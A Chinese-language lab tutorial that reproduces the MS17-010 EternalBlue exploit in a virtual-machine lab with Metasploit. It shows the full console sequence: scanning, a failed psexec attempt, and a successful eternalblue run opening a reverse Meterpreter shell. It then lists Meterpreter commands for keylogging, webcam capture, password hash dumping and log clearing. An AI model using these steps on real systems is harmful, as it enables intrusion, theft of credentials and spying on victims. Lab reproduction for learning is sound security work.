利用MSF工具对MS17-010进行漏洞复现

MS17-010，又名永恒之蓝，是一个极其严重的网络安全漏洞，使得攻击者可以在未经授权的情况下远程执行恶意代码，本实验主要在虚拟机环境下对该漏洞进行复现。

实验环境：

靶机：windows 7  (IP:192.168.75.129)

攻击机：kali-linux-2021.3 (IP:192.168.75.128)

工具：MSF

本实验在VM虚拟机环境中进行，采用NAT模式。

前期准备：

在Linux系统中，查看IP使用ifconfig命令：

ifconfig

由此可知，攻击机的IP地址为192.168.75.128

同样，对靶机查看IP地址：

在Windows系统中，查看IP使用ipconfig命令：

ipconfig

靶机的IP地址为192.168.75.129

检测两机是否相互连通，使用ping命令。

ping 192.168.75.129

至此，前期实验前准备完成。

漏洞利用：

本实验使用MSF对该漏洞进行利用。

在攻击机中输入msfconsole命令，启动MSF工具

┌──(kali㉿kali)-[~]
└─$ msfconsole
                                                  
     ,           ,
    /             \
   ((__---,,,---__))
      (_) O O (_)_________                                                                                        
         \ _ /            |\                                                                                      
          o_o \   M S F   | \                                                                                     
               \   _____  |  *                                                                                    
                |||   WW|||                                                                                       
                |||     |||                                                                                       
                                                                                                                  

       =[ metasploit v6.1.4-dev                           ]
+ -- --=[ 2162 exploits - 1147 auxiliary - 367 post       ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 8 evasion                                       ]

Metasploit tip: Use the edit command to open the 
currently active module in your editor

接着搜索ms17-010漏洞，得到以下结果：

msf6 > search MS17-010

Matching Modules
================

   #  Name                                      Disclosure Date  Rank     Check  Description
   -  ----                                      ---------------  ----     -----  -----------
   0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   2  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   3  auxiliary/scanner/smb/smb_ms17_010                         normal   No     MS17-010 SMB RCE Detection
   4  exploit/windows/smb/smb_doublepulsar_rce  2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution


Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/smb/smb_doublepulsar_rce

我们首先使用auxiliary模块对靶机中是否存在ms17-010漏洞进行扫描。

msf6 > use 3

查看options:

msf6 auxiliary(scanner/smb/smb_ms17_010) > show options

Module options (auxiliary/scanner/smb/smb_ms17_010):

   Name         Current Setting                 Required  Description
   ----         ---------------                 --------  -----------
   CHECK_ARCH   true                            no        Check for architecture on vulnerable hosts
   CHECK_DOPU   true                            no        Check for DOUBLEPULSAR on vulnerable hosts
   CHECK_PIPE   false                           no        Check for named pipe on vulnerable hosts
   NAMED_PIPES  /usr/share/metasploit-framewor  yes       List of named pipes to check
                k/data/wordlists/named_pipes.t
                xt
   RHOSTS                                       yes       The target host(s), see https://github.com/rapid7/meta
                                                          sploit-framework/wiki/Using-Metasploit
   RPORT        445                             yes       The SMB service port (TCP)
   SMBDomain    .                               no        The Windows domain to use for authentication
   SMBPass                                      no        The password for the specified username
   SMBUser                                      no        The username to authenticate as
   THREADS      1                               yes       The number of concurrent threads (max one per host)

我们将RHOSTS补全，填入目标靶机的IP地址：

msf6 auxiliary(scanner/smb/smb_ms17_010) > setg RHOSTS 192.168.75.129
RHOSTS => 192.168.75.129

接着run（exploit）

msf6 auxiliary(scanner/smb/smb_ms17_010) > run

[+] 192.168.75.129:445    - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.75.129:445    - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

 发现该靶机中可能存在相应MS17-010的漏洞。

使用exploit模块轮流对其进行尝试；首先使用1：

msf6 auxiliary(scanner/smb/smb_ms17_010) > use 1
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_psexec) > run

[*] Started reverse TCP handler on 192.168.75.128:4444 
[*] 192.168.75.129:445 - Target OS: Windows 7 Ultimate 7601 Service Pack 1
[-] 192.168.75.129:445 - Unable to find accessible named pipe!

出现Unable to find accessible named pipe!与其不匹配，切换到下一个。

我们切换到0，其他步骤照旧：

出现以下情况则代表成功

msf6 exploit(windows/smb/ms17_010_psexec) > use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > run

[*] Started reverse TCP handler on 192.168.75.128:4444 
[*] 192.168.75.129:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.75.129:445    - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.75.129:445    - Scanned 1 of 1 hosts (100% complete)
[+] 192.168.75.129:445 - The target is vulnerable.
[*] 192.168.75.129:445 - Connecting to target for exploitation.
[+] 192.168.75.129:445 - Connection established for exploitation.
[+] 192.168.75.129:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.75.129:445 - CORE raw buffer dump (38 bytes)
[*] 192.168.75.129:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61  Windows 7 Ultima
[*] 192.168.75.129:445 - 0x00000010  74 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20  te 7601 Service 
[*] 192.168.75.129:445 - 0x00000020  50 61 63 6b 20 31                                Pack 1          
[+] 192.168.75.129:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.75.129:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.75.129:445 - Sending all but last fragment of exploit packet
[*] 192.168.75.129:445 - Starting non-paged pool grooming
[+] 192.168.75.129:445 - Sending SMBv2 buffers
[+] 192.168.75.129:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.75.129:445 - Sending final SMBv2 buffers.
[*] 192.168.75.129:445 - Sending last fragment of exploit packet!
[*] 192.168.75.129:445 - Receiving response from exploit packet
[+] 192.168.75.129:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.75.129:445 - Sending egg to corrupted connection.
[*] 192.168.75.129:445 - Triggering free of corrupted buffer.
[*] Sending stage (200262 bytes) to 192.168.75.129
[+] 192.168.75.129:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.75.129:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.75.129:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] Meterpreter session 1 opened (192.168.75.128:4444 -> 192.168.75.129:49435) at 2024-07-07 11:07:08 -0400

此时便可以在攻击机上对靶机进行相应的操作：

输入help，即可查看相应的指令：

meterpreter > help

Core Commands
=============

    Command                   Description
    -------                   -----------
    ?                         Help menu
    background                Backgrounds the current session
    bg                        Alias for background
    bgkill                    Kills a background meterpreter script
    bglist                    Lists running background scripts
    bgrun                     Executes a meterpreter script as a background thread
    channel                   Displays information or control active channels
    close                     Closes a channel
    detach                    Detach the meterpreter session (for http/https)
    disable_unicode_encoding  Disables encoding of unicode strings
    enable_unicode_encoding   Enables encoding of unicode strings
    exit                      Terminate the meterpreter session
    get_timeouts              Get the current session timeout values
    guid                      Get the session GUID
    help                      Help menu
    info                      Displays information about a Post module
    irb                       Open an interactive Ruby shell on the current session
    load                      Load one or more meterpreter extensions
    machine_id                Get the MSF ID of the machine attached to the session
    migrate                   Migrate the server to another process
    pivot                     Manage pivot listeners
    pry                       Open the Pry debugger on the current session
    quit                      Terminate the meterpreter session
    read                      Reads data from a channel
    resource                  Run the commands stored in a file
    run                       Executes a meterpreter script or Post module
    secure                    (Re)Negotiate TLV packet encryption on the session
    sessions                  Quickly switch to another session
    set_timeouts              Set the current session timeout values
    sleep                     Force Meterpreter to go quiet, then re-establish session
    ssl_verify                Modify the SSL certificate verification setting
    transport                 Manage the transport mechanisms
    use                       Deprecated alias for "load"
    uuid                      Get the UUID for the current session
    write                     Writes data to a channel


Stdapi: File system Commands
============================

    Command       Description
    -------       -----------
    cat           Read the contents of a file to the screen
    cd            Change directory
    checksum      Retrieve the checksum of a file
    cp            Copy source to destination
    del           Delete the specified file
    dir           List files (alias for ls)
    download      Download a file or directory
    edit          Edit a file
    getlwd        Print local working directory
    getwd         Print working directory
    lcd           Change local working directory
    lls           List local files
    lpwd          Print local working directory
    ls            List files
    mkdir         Make directory
    mv            Move source to destination
    pwd           Print working directory
    rm            Delete the specified file
    rmdir         Remove directory
    search        Search for files
    show_mount    List all mount points/logical drives
    upload        Upload a file or directory


Stdapi: Networking Commands
===========================

    Command       Description
    -------       -----------
    arp           Display the host ARP cache
    getproxy      Display the current proxy configuration
    ifconfig      Display interfaces
    ipconfig      Display interfaces
    netstat       Display the network connections
    portfwd       Forward a local port to a remote service
    resolve       Resolve a set of host names on the target
    route         View and modify the routing table


Stdapi: System Commands
=======================

    Command       Description
    -------       -----------
    clearev       Clear the event log
    drop_token    Relinquishes any active impersonation token.
    execute       Execute a command
    getenv        Get one or more environment variable values
    getpid        Get the current process identifier
    getprivs      Attempt to enable all privileges available to the current process
    getsid        Get the SID of the user that the server is running as
    getuid        Get the user that the server is running as
    kill          Terminate a process
    localtime     Displays the target system local date and time
    pgrep         Filter processes by name
    pkill         Terminate processes by name
    ps            List running processes
    reboot        Reboots the remote computer
    reg           Modify and interact with the remote registry
    rev2self      Calls RevertToSelf() on the remote machine
    shell         Drop into a system command shell
    shutdown      Shuts down the remote computer
    steal_token   Attempts to steal an impersonation token from the target process
    suspend       Suspends or resumes a list of processes
    sysinfo       Gets information about the remote system, such as OS


Stdapi: User interface Commands
===============================

    Command        Description
    -------        -----------
    enumdesktops   List all accessible desktops and window stations
    getdesktop     Get the current meterpreter desktop
    idletime       Returns the number of seconds the remote user has been idle
    keyboard_send  Send keystrokes
    keyevent       Send key events
    keyscan_dump   Dump the keystroke buffer
    keyscan_start  Start capturing keystrokes
    keyscan_stop   Stop capturing keystrokes
    mouse          Send mouse events
    screenshare    Watch the remote user desktop in real time
    screenshot     Grab a screenshot of the interactive desktop
    setdesktop     Change the meterpreters current desktop
    uictl          Control some of the user interface components


Stdapi: Webcam Commands
=======================

    Command        Description
    -------        -----------
    record_mic     Record audio from the default microphone for X seconds
    webcam_chat    Start a video chat
    webcam_list    List webcams
    webcam_snap    Take a snapshot from the specified webcam
    webcam_stream  Play a video stream from the specified webcam


Stdapi: Audio Output Commands
=============================

    Command       Description
    -------       -----------
    play          play a waveform audio file (.wav) on the target system


Priv: Elevate Commands
======================

    Command       Description
    -------       -----------
    getsystem     Attempt to elevate your privilege to that of local system.


Priv: Password database Commands
================================

    Command       Description
    -------       -----------
    hashdump      Dumps the contents of the SAM database


Priv: Timestomp Commands
========================

    Command       Description
    -------       -----------
    timestomp     Manipulate file MACE attributes

例如：输入screenshot，即可获得靶机页面的截图

meterpreter > screenshot
Screenshot saved to: /home/kali/DeBmpJSv.jpeg

至此，我们便完成了MS17-010漏洞复现，实验结束。